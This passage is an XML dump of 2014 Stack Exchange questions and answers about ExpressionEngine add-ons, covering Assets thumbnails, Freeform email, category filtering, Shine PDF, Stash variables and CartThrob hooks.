sending, but admin notifications are fine" Tags="|solspace-freeform|email|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21947" PostTypeId="1" AcceptedAnswerId="21978" CreationDate="2014-05-14T12:18:47.640" Score="1" ViewCount="226" Body="&lt;p&gt;I have the chequerboard / empty thumbnails showing up in Assets, for all images. Everything is working fine on the live site. So far I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Checking / applying 777 to all images and the cache/assets directories&lt;/li&gt;&#xA;&lt;li&gt;Emptying the cache/assets/thumbs directory and clearing the&#xA;browser cache&lt;/li&gt;&#xA;&lt;li&gt;Updating any old dev server paths I could find in the db to the new&lt;br&gt;&#xA;path&lt;/li&gt;&#xA;&lt;li&gt;Updating from Assets 2.2.2 to the latest, 2.3.2, clicked 'update modules' and cleared cache&lt;/li&gt;&#xA;&lt;li&gt;Checking the network tool for the thumbs, I get 200 OK but 'Failed&#xA;to load the given URL' under Firebug. This is most likely because the files aren't there, I know because I have uploaded a thumb from the dev site cache and that worked.&lt;/li&gt;&#xA;&lt;li&gt;Don't think it's .htaccess, have not changed that recently, but it&#xA;is set to remove index.php but not www. The index.php?ACT query seems to be working fine as the thumbnail test above shows.&lt;/li&gt;&#xA;&lt;li&gt;Checked User session is set to cookies only&lt;/li&gt;&#xA;&lt;li&gt;Cleared EE data caches&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The images were uploaded via Assets at dev, &lt;a href=&quot;http://prometheus.glue.co.nz&quot; rel=&quot;nofollow&quot;&gt;http://prometheus.glue.co.nz&lt;/a&gt; (ignore it, it's broken now), then went live at &lt;a href=&quot;http://www.prometheus.co.nz&quot; rel=&quot;nofollow&quot;&gt;http://www.prometheus.co.nz&lt;/a&gt; two months ago. Guess the problem started then and went unnoticed. Same host so server paths not all that different. Oh, running PHP 5.3.10 and EE 2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help? Hoping P&amp;amp;T crew would like to log in.&lt;/p&gt;&#xA;" OwnerUserId="3102" LastEditorUserId="3102" LastEditDate="2014-05-15T02:36:41.463" LastActivityDate="2014-05-26T17:30:43.930" Title="Assets 2.2.2 / 2.3.2 chequerboard / empty thumbnails" Tags="|assets|pixelandtonic|image|thumbnails|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21948" PostTypeId="2" ParentId="21947" CreationDate="2014-05-14T12:24:11.053" Score="0" Body="&lt;p&gt;I had that same issue this morning as it happens. Turns out that when the files were uploaded there was a permissions problem with the cache directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, check the perms for your system/cache directory and all sub directories  are set to 777&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then had to re-upload the files to get the thumbnails to generate. Simply clicking the refresh button didn't work. The nice thing is that you can still view each file and download it then re-upload it with the same name so it overwrites the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only had a few images to deal with and they were only used within 1 matrix field so I could delete and re-upload them directly so the change in asset ID wasn't a problem.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-14T12:24:11.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21949" PostTypeId="1" CreationDate="2014-05-14T12:40:19.217" Score="0" ViewCount="146" Body="&lt;p&gt;I'm wanting to filter a list of product entries with Ajax and I am wanting to create a dropdown list of all categories associated with the current list of entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg. I have 100 products that have a main category and have all been assigned a category or two for filtering. In the dropdown list, I want to show ONLY the filtering categories that have been assigned to the current list of products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I've got a list of ALL categories from a group and not the limited list based on the products in the main category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently playing with the query module to see if I can filter the category list down to the correct list of filtering categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a tough one to explain, but I hope I have done a good job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know the best approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've test GWcodes categories and provided a list of entry_ids, however this shows up a list duplicated categories. Basically the right result, but I get duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help and guidance would be gratefully received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="855" LastEditorUserId="55" LastEditDate="2014-05-14T15:12:52.960" LastActivityDate="2014-05-15T00:09:41.560" Title="Show categories associated with a list of channel entries" Tags="|channel-entries|categories|filtering|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21950" PostTypeId="1" CreationDate="2014-05-14T12:57:25.387" Score="0" ViewCount="59" Body="&lt;p&gt;As per We know , shine pdf only one time parsing so that  we could not embed / stash  other channel data entries in single pdf generate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it means , how can we generate multiple channel data without any relation between channel in single shine pdf generate?&lt;/p&gt;&#xA;" OwnerUserId="3091" LastEditorUserId="55" LastEditDate="2014-05-14T15:09:45.680" LastActivityDate="2014-06-13T17:00:54.810" Title="How to multiple channel entries in single generated pdf" Tags="|shine-pdf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21951" PostTypeId="2" ParentId="21950" CreationDate="2014-05-14T13:28:38.530" Score="1" Body="&lt;p&gt;You can do it through embeds sort of like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed='inc/generatePDF' pdfContent='&#xA;    {exp:channel:entries channel=&quot;foo&quot;}&#xA;        {title}&#xA;    {/exp:channel:entries}&#xA;    {exp:channel:entries channel=&quot;bar&quot;}&#xA;        {title}&#xA;    {/exp:channel:entries}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in your inc/generatePDF file you enable php and do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;? $someVar = '{embed:pdfContent}'; ?&amp;gt;&#xA;&#xA; {exp:shine_pdf:make}&#xA;    &amp;lt;? echo $someVar; ?&amp;gt;&#xA; {/exp:shine_pdf:make}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-05-14T13:28:38.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21952" PostTypeId="2" ParentId="21946" CreationDate="2014-05-14T13:41:25.407" Score="1" Body="&lt;p&gt;Without seeing the code you're using it's a bit tough to know for sure, but I have come up against this issue quite a few times before and it was because I missed out the &lt;strong&gt;user_email_field&lt;/strong&gt; and &lt;strong&gt;notify_user&lt;/strong&gt; parameters.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;   form_name=&amp;quot;contact&amp;quot;&#xA;   return=&amp;quot;contact_us/thank_you&amp;quot;&#xA;   user_email_field=&amp;quot;user_email&amp;quot;&#xA;   notify_user=&amp;quot;yes&amp;quot;&#xA;}&#xA;&#xA;// ... rest of your form code&#xA;&#xA;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;user_email&amp;quot; id=&amp;quot;user_email&amp;quot;&amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This should then tell freeform that you want to notify users on submit and to use the &lt;strong&gt;user_email&lt;/strong&gt; field for their email address.&lt;/p&gt;&#xA;&lt;p&gt;Hope that helps&lt;/p&gt;&#xA;&lt;h2&gt;Possible solution for MAMP/Similar users.&lt;/h2&gt;&#xA;&lt;p&gt;If mail isn't sending as it should whilst using a local environment (such as MAMP), it's worth trying on a live environment before you try to dig in deeper. After all, that is where your site will live, so as long as it works there, your good to go :)&lt;/p&gt;&#xA;&lt;p&gt;If it doesn't work on a live server, you can be pretty sure the error is code based.&lt;/p&gt;&#xA;" OwnerUserId="2788" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-05-14T14:38:39.240" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21953" PostTypeId="2" ParentId="21931" CreationDate="2014-05-14T14:12:11.883" Score="1" Body="&lt;p&gt;Have you tried adding &lt;code&gt;include_assets=&quot;no&quot;&lt;/code&gt; and &lt;code&gt;datepicker=&quot;no&quot;&lt;/code&gt;? These should stop Expression Engine including it's own JS.&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2014-05-14T14:12:11.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21954" PostTypeId="2" ParentId="21923" CreationDate="2014-05-14T14:22:28.077" Score="0" Body="&lt;p&gt;seems to be a strange caching issue.  I was forced to duplicate the template group and everything works as it should.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-05-14T14:22:28.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21955" PostTypeId="1" CreationDate="2014-05-14T14:48:50.000" Score="0" ViewCount="86" Body="&lt;p&gt;We have two products, and want people added to one member group or the other when purchasing.  If they purchase both products we want them added to a third member group.  Will this be possible with Store?&lt;/p&gt;&#xA;" OwnerUserId="2307" LastEditorUserId="2307" LastEditDate="2014-05-14T15:02:49.167" LastActivityDate="2014-05-14T22:59:40.503" Title="Specific Questions about Member Groups in ExpressoStore" Tags="|expresso-store|subscriptions|groups|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21957" PostTypeId="2" ParentId="21955" CreationDate="2014-05-14T15:08:48.033" Score="1" Body="&lt;p&gt;Sure - you would write an extension that uses the &lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html#store_order_complete_end&quot; rel=&quot;nofollow&quot;&gt;store_order_complete_end&lt;/a&gt; hook. You'd then loop through the items in the order and perform your logic as to what member group the customer should get added to in the end.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-14T15:08:48.033" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21958" PostTypeId="2" ParentId="21943" CreationDate="2014-05-14T15:11:47.083" Score="0" Body="&lt;p&gt;I'd suggest doing front-end validation with a javascript library like &lt;a href=&quot;http://parsleyjs.org&quot; rel=&quot;nofollow&quot;&gt;Parsley&lt;/a&gt; or &lt;a href=&quot;http://jqueryvalidation.org&quot; rel=&quot;nofollow&quot;&gt;jQuery Validate&lt;/a&gt; - that way you don't have to rely on EE's errors at all.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-14T15:11:47.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21959" PostTypeId="2" ParentId="21949" CreationDate="2014-05-14T15:14:45.710" Score="1" Body="&lt;p&gt;If you have easy access to the entry_ids of the visible entries as a comma-separated list, this query should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT cat_id FROM exp_category_posts WHERE entry_id IN(1,2,3,4,5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-14T15:14:45.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21960" PostTypeId="2" ParentId="21939" CreationDate="2014-05-14T15:18:58.720" Score="1" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://www.solspace.com/docs/freeform/extension_hooks/#freeform_module_insert_end&quot; rel=&quot;nofollow&quot;&gt;freeform_module_insert_end&lt;/a&gt; hook, which gives you access to all of the data posted via the form (and also the ability to retrieve that final data from the Freeform database via the form's entry_id if you like).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then inside of that hook method, you can use that data to build your entry, which you can then pass to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;Channel Entries API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-14T15:18:58.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21961" PostTypeId="1" CreationDate="2014-05-14T15:52:12.220" Score="0" ViewCount="180" Body="&lt;p&gt;I am trying to output the heading &quot;Related Articles&quot; only once before all the blog submissions.  The way I have it coded below, it's outputting heading in every entry.  I've put it in multiple places and no luck.  Any help is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div id=&quot;main&quot;&amp;gt;&#xA;            &amp;lt;section class=&quot;section&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;col-md-8 col-md-offset-2&quot;&amp;gt;&#xA;&#xA;                            {!-- IF PREMIUM PAGE &amp;gt; ONLINE EXERCISES --}&#xA;                            {if last_segment == 'online-exercises'}{!--***--}&#xA;                                &amp;lt;ul id=&quot;online-exercises-list&quot;&amp;gt;&#xA;                                    {exp:channel:entries channel=&quot;blog&quot; limit=&quot;200&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; }&#xA;&#xA;                                        {if no_results}&#xA;                                            {exp:channel:categories}&#xA;                                                {if last_segment ==  category_url_title}&#xA;                                                &amp;lt;h1&amp;gt;{blog_content}&amp;lt;/h1&amp;gt;&#xA;                                                {/if}&#xA;                                            {/exp:channel:categories}&#xA;                                            &amp;lt;h2&amp;gt;No Items in this category&amp;lt;/h2&amp;gt;&#xA;                                            &amp;lt;h3&amp;gt;Sorry, but here are no listings under this category at this time.&amp;lt;/h3&amp;gt;&#xA;                                        {/if}&#xA;&#xA;                                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/blog/article/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;                                    {/exp:channel:entries}&#xA;                                &amp;lt;/ul&amp;gt;&#xA;&#xA;                            {!-- OTHERWISE, SHOW STANDARD CATEGORY ENTRIES --}&#xA;                            {if:else}&#xA;&#xA;                                {exp:channel:entries channel=&quot;blog&quot; limit=&quot;7&quot; paginate=&quot;bottom&quot; }&#xA;&#xA;                                    {if category_description == &quot;y&quot;}&#xA;                                        &amp;lt;article class=&quot;description-block&quot;&amp;gt;&#xA;                                            &amp;lt;div class=&quot;text-block&quot;&amp;gt;&#xA;                                                &amp;lt;div class=&quot;text-holder&quot;&amp;gt;&#xA;                                                   {blog_content}&#xA;                                                &amp;lt;/div&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;                                        &amp;lt;/article&amp;gt;&#xA;                                    {if:else}&#xA;&#xA;&#xA;                                        {if no_results}&#xA;                                            {exp:channel:categories}&#xA;                                                {if last_segment ==  category_url_title}&#xA;                                                &amp;lt;h1&amp;gt;{category_name}&amp;lt;/h1&amp;gt;&#xA;                                                {/if}&#xA;                                            {/exp:channel:categories}&#xA;                                            &amp;lt;h2&amp;gt;No Items in this category&amp;lt;/h2&amp;gt;&#xA;                                            &amp;lt;h3&amp;gt;Sorry, but here are no listings under this category at this time.&amp;lt;/h3&amp;gt;&#xA;                                        {/if}&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;h1 class=&quot;style&quot;&amp;gt;Related Articles&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;&#xA;                                        &amp;lt;article class=&quot;post-block&quot;&amp;gt;&#xA;                                            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;/blog/article/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                                            &amp;lt;div class=&quot;info&quot;&amp;gt;&#xA;                                                &amp;lt;span class=&quot;author&quot;&amp;gt;by {author}&amp;lt;/span&amp;gt;&#xA;                                                &amp;lt;span class=&quot;date&quot;&amp;gt;{entry_date format=&quot; %F %d, %Y&quot;}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;                                                {!--&amp;lt;span&amp;gt;in {categories}&amp;lt;a href=&quot;/blog/category/{category_url_title}/&quot;&amp;gt;{category_name},&amp;lt;/a&amp;gt; {/categories}&#xA;                                                &amp;lt;/span&amp;gt;--}&#xA;                                            &amp;lt;/div&amp;gt;&#xA;                                            &amp;lt;div class=&quot;text-block&quot;&amp;gt;&#xA;                                                {if &quot;{blog-videos:total_rows search:blog-videos_active='=y'}&quot; &amp;gt; '0'}&#xA;                                                    {blog-videos search:blog-videos_active='=y' limit=&quot;1&quot;}&#xA;                                                        &amp;lt;div class=&quot;placeholder alignleft&quot;&amp;gt;&#xA;                                                        {if blog-videoupload != &quot;&quot;}&#xA;                                                            &amp;lt;a href='/blog/article/{url_title}'&amp;gt;&#xA;                                                                {if blog-videos_thumb != ''}&#xA;                                                                    {exp:ce_img:single src=&quot;{blog-videos_thumb}&quot; max_height=&quot;120&quot; max_width=&quot;200&quot; crop=&quot;yes&quot; cache_dir=&quot;/cache&quot; alt=&quot;{blog-images_title}&quot;}&#xA;                                                                {if:else}&#xA;                                                                    &amp;lt;img src=&quot;/themes/site_themes/site/graphics/playvid.png&quot; height='120' width='200' alt=&quot;playvid&quot; /&amp;gt;&#xA;                                                                {/if}&#xA;                                                            &amp;lt;/a&amp;gt;&#xA;                                                        {if:else}&#xA;                                                            {exp:antenna url='{blog-videos_url}' max_width=&quot;570&quot; cache_minutes=&quot;120&quot; wmode=&quot;transparent|opaque|window&quot;}&#xA;                                                                &amp;lt;a href=&quot;/blog/article/{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;{video_thumbnail}&quot; height=&quot;120&quot; width=&quot;200&quot; alt=&quot;{video_title}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                                            {/exp:antenna}&#xA;                                                        {/if}&#xA;                                                        &amp;lt;/div&amp;gt;&#xA;                                                    {/blog-videos}&#xA;                                                {if:else}&#xA;                                                    {blog-images search:blog-images_active='=y' limit=&quot;1&quot;}&#xA;                                                        &amp;lt;div class=&quot;placeholder alignleft&quot;&amp;gt;&#xA;                                                            {if '{blog-images_file}' != ''}&#xA;                                                                &amp;lt;a href=&quot;/blog/article/{url_title}&quot;&amp;gt;{exp:ce_img:single src=&quot;{blog-images_file}&quot; height=&quot;200&quot; width=&quot;200&quot; crop=&quot;yes&quot; cache_dir=&quot;&quot; alt=&quot;{blog-images_title}&quot;}&amp;lt;/a&amp;gt;&#xA;                                                            {if:else}&#xA;                                                                &amp;lt;a class=&quot;float-right&quot; href=&quot;/blog/article/{url_title}&quot;&amp;gt;{exp:ce_img:single src=&quot;{blog-images_after}&quot; height=&quot;100&quot; width=&quot;50&quot; crop=&quot;yes&quot; cache_dir=&quot;/cache&quot; alt=&quot;{blog-images_title}&quot;}&amp;lt;/a&amp;gt;&#xA;                                                                &amp;lt;a class=&quot;float-right&quot; href=&quot;/blog/article/{url_title}&quot;&amp;gt;{exp:ce_img:single src=&quot;{blog-images_before}&quot; height=&quot;100&quot; width=&quot;50&quot; crop=&quot;yes&quot; cache_dir=&quot;/cache&quot; alt=&quot;{blog-images_title}&quot;}&amp;lt;/a&amp;gt;&#xA;                                                            {/if}&#xA;                                                        &amp;lt;/div&amp;gt;&#xA;                                                    {/blog-images}&#xA;                                                {/if}&#xA;                                                &amp;lt;div class=&quot;text-holder&quot;&amp;gt;&#xA;                                                    {exp:eehive_hacksaw allow=&quot;&quot; chars=&quot;275&quot;  }&#xA;                                                        &amp;lt;p&amp;gt;{blog_content}&amp;lt;/p&amp;gt;&#xA;                                                    {/exp:eehive_hacksaw}&#xA;                                                &amp;lt;/div&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;&#xA;                                        &amp;lt;/article&amp;gt;&#xA;                                        &amp;lt;div class=&quot;read-more&quot;&amp;gt;&amp;lt;a href=&quot;/blog/article/{url_title}&quot;&amp;gt;READ MORE&amp;lt;img src=&quot;{site_url}themes/site_themes/site/images/more-arrow.png&quot; alt=&quot;more arrow&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                        &amp;lt;hr style=&quot;clear:both; width: 100%;&quot;/&amp;gt;&#xA;                                    {/if}&#xA;&#xA;                                {/exp:channel:entries}&#xA;&#xA;                            {/if}&#xA;&#xA;                        &amp;lt;/section&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2014-05-14T16:52:41.473" Title="Output heading only once in channel entry" Tags="|tags|entry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21962" PostTypeId="2" ParentId="21961" CreationDate="2014-05-14T16:52:41.473" Score="1" Body="&lt;p&gt;Use a conditional statement to only output the heading on the first row:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count == &quot;1&quot;}&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;h1 class=&quot;style&quot;&amp;gt;Related Articles&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-14T16:52:41.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21963" PostTypeId="1" AcceptedAnswerId="21989" CreationDate="2014-05-14T17:14:44.463" Score="0" ViewCount="79" Body="&lt;p&gt;I just installed the Discussion forum module on a local site and have been going through the docs setting it up. When I try to view it on the front-end I get the error below..any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method EE_Template::parse_date_variables() in /Users/mlohrman/Sites/synergetics/public_html/synerg/expressionengine/modules/forum/mod.forum_core.php on line 8298&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v 2.7.2&#xA;Discussion Forum v 3.1.15&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2014-06-03T22:28:35.193" Title="Discussion Forum throwing error when trying to view" Tags="|forum|discussion|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21964" PostTypeId="2" ParentId="20881" CreationDate="2014-05-14T17:25:44.657" Score="1" Body="&lt;p&gt;Using mjr's code as a basis, to actually edit the cart items data you will need to use the add_item() method which will implement an update() if the item exists in the cart already. You don't need the save() method either. So to change a product price to 10 for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function cartthrob_update_cart_end()&#xA;{&#xA;    $items = ee()-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;items_array();&#xA;&#xA;    foreach($items as $item)&#xA;    {&#xA;        if($item['title'] == &quot;Some on the Fly Product&quot;)&#xA;        {&#xA;            $item['price'] = 10; &#xA;            ee()-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;add_item($item);&#xA;        }&#xA;    }&#xA;} // END cartthrob_update_cart_end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="381" LastActivityDate="2014-05-14T17:25:44.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21965" PostTypeId="2" ParentId="21878" CreationDate="2014-05-14T17:31:13.117" Score="0" Body="&lt;p&gt;I had this exact same issue once before as well, I think the tag you are looking for is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{absolute_count}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2788" LastActivityDate="2014-05-14T17:31:13.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21966" PostTypeId="2" ParentId="21885" CreationDate="2014-05-14T18:05:32.083" Score="2" Body="&lt;p&gt;Set your var like this, using the trim parameter to remove whitespace and line breaks from the captured variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;rehab&quot; url_title=&quot;{segment_3}&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;    {exp:stash:set name=&quot;update_ids&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;        0{exp:playa:parents channel=&quot;rehab_updates&quot; status=&quot;open&quot; limit=&quot;10&quot;}|{entry_id}{/exp:playa:parents}&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using the captured variable&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;process=&quot;end&quot;&lt;/code&gt; parameter to delay the parsing of the wrapped code block until the end of template parsing (i.e. after the variable has been set). Inside &lt;code&gt;{exp:stash:parse}&lt;/code&gt; tag pairs, stash variables can be accessed as placeholders in the form &lt;code&gt;{stash:my_var}&lt;/code&gt;, which saves you having to use &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; when passing a tag as a parameter. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;    {exp:channel:entries channel=&quot;rehab&quot;}&#xA;      {exp:playa:parents channel=&quot;rehab_updates&quot; status=&quot;open&quot; entry_id=&quot;{stash:update_ids}&quot;}&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;          $(window).load(function() {&#xA;            $('#slider-{entry-id}').nivoSlider({});&#xA;          });&#xA;        &amp;lt;/script&amp;gt;&#xA;      {/exp:playa:parents}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;    {exp:playa:parents channel=&quot;rehab_updates&quot; status=&quot;open&quot; limits=&quot;10&quot; entry_id=&quot;{stash:update_ids}&quot;}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2014-05-14T18:11:34.257" LastActivityDate="2014-05-14T18:11:34.257" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21967" PostTypeId="2" ParentId="21649" CreationDate="2014-05-14T19:12:15.637" Score="2" Body="&lt;p&gt;I recommend bypassing BlueHost altogether and getting set up with a 3rd party email service like &lt;a href=&quot;http://mandrill.com/&quot; rel=&quot;nofollow&quot;&gt;Mandrill&lt;/a&gt;. Install the &lt;a href=&quot;http://devot-ee.com/add-ons/escort&quot; rel=&quot;nofollow&quot;&gt;Escort&lt;/a&gt; add-on, enter your API key, and you're done!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nice thing about the 3rd party services is they track incoming and outgoing messages and provide analytics for each one, so you can do really fine-grained troubleshooting instead of the guesswork of SMTP on your host.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-05-14T19:12:15.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21968" PostTypeId="1" AcceptedAnswerId="21996" CreationDate="2014-05-14T19:30:49.560" Score="1" ViewCount="224" Body="&lt;p&gt;So I'm attempting to create a custom FieldType for Freeform for a custom one-off application. Basically I have multiple hidden fields to populate data associated with a regular user input field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been struggling with this for a while and don't know of a better way, so if someone knows I'd be happy to hear it!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically here's my setup:&#xA;Within the &lt;code&gt;freeform:form&lt;/code&gt; I'm listing channel entries to populate the inputs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input id=&quot;product_{count}&quot; type=&quot;hidden&quot; name=&quot;product[]&quot; value=&quot;{sku}/&quot; /&amp;gt;&#xA;&amp;lt;input id=&quot;product_{count}&quot; type=&quot;hidden&quot; name=&quot;product[]&quot; value=&quot;{title}/&quot; /&amp;gt;&#xA;&amp;lt;input id=&quot;product_{count}&quot; type=&quot;hidden&quot; name=&quot;product[]&quot; value=&quot;{price}/&quot; /&amp;gt;&#xA;&amp;lt;input id=&quot;product_{count}&quot; type=&quot;number&quot; name=&quot;product[]&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input id=&quot;product_{count}&quot; type=&quot;hidden&quot; name=&quot;product[]&quot; value=&quot;,&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As stated, I don't know that this is the best approach, but it's the best I could figure out for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a member views the page all they see is the input for the quantity, which is the line &lt;code&gt;&amp;lt;input id=&quot;product_{count}&quot; type=&quot;number&quot; name=&quot;product[]&quot; value=&quot;&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the form is submitted the &lt;code&gt;product&lt;/code&gt; array comes in looking like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0] =&amp;gt; 1011/&#xA;[1] =&amp;gt; Product A/&#xA;[2] =&amp;gt; 9.95/&#xA;[3] =&amp;gt; 50&#xA;[4] =&amp;gt; ,&#xA;[5] =&amp;gt; 1011/&#xA;[6] =&amp;gt; Product B/&#xA;[7] =&amp;gt; 24.95/&#xA;[8] =&amp;gt;&#xA;[9] =&amp;gt; ,&#xA;[10] =&amp;gt; 1011/&#xA;[11] =&amp;gt; Product C/&#xA;[12] =&amp;gt; 11.95/&#xA;[13] =&amp;gt; 12&#xA;[14] =&amp;gt; ,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, element 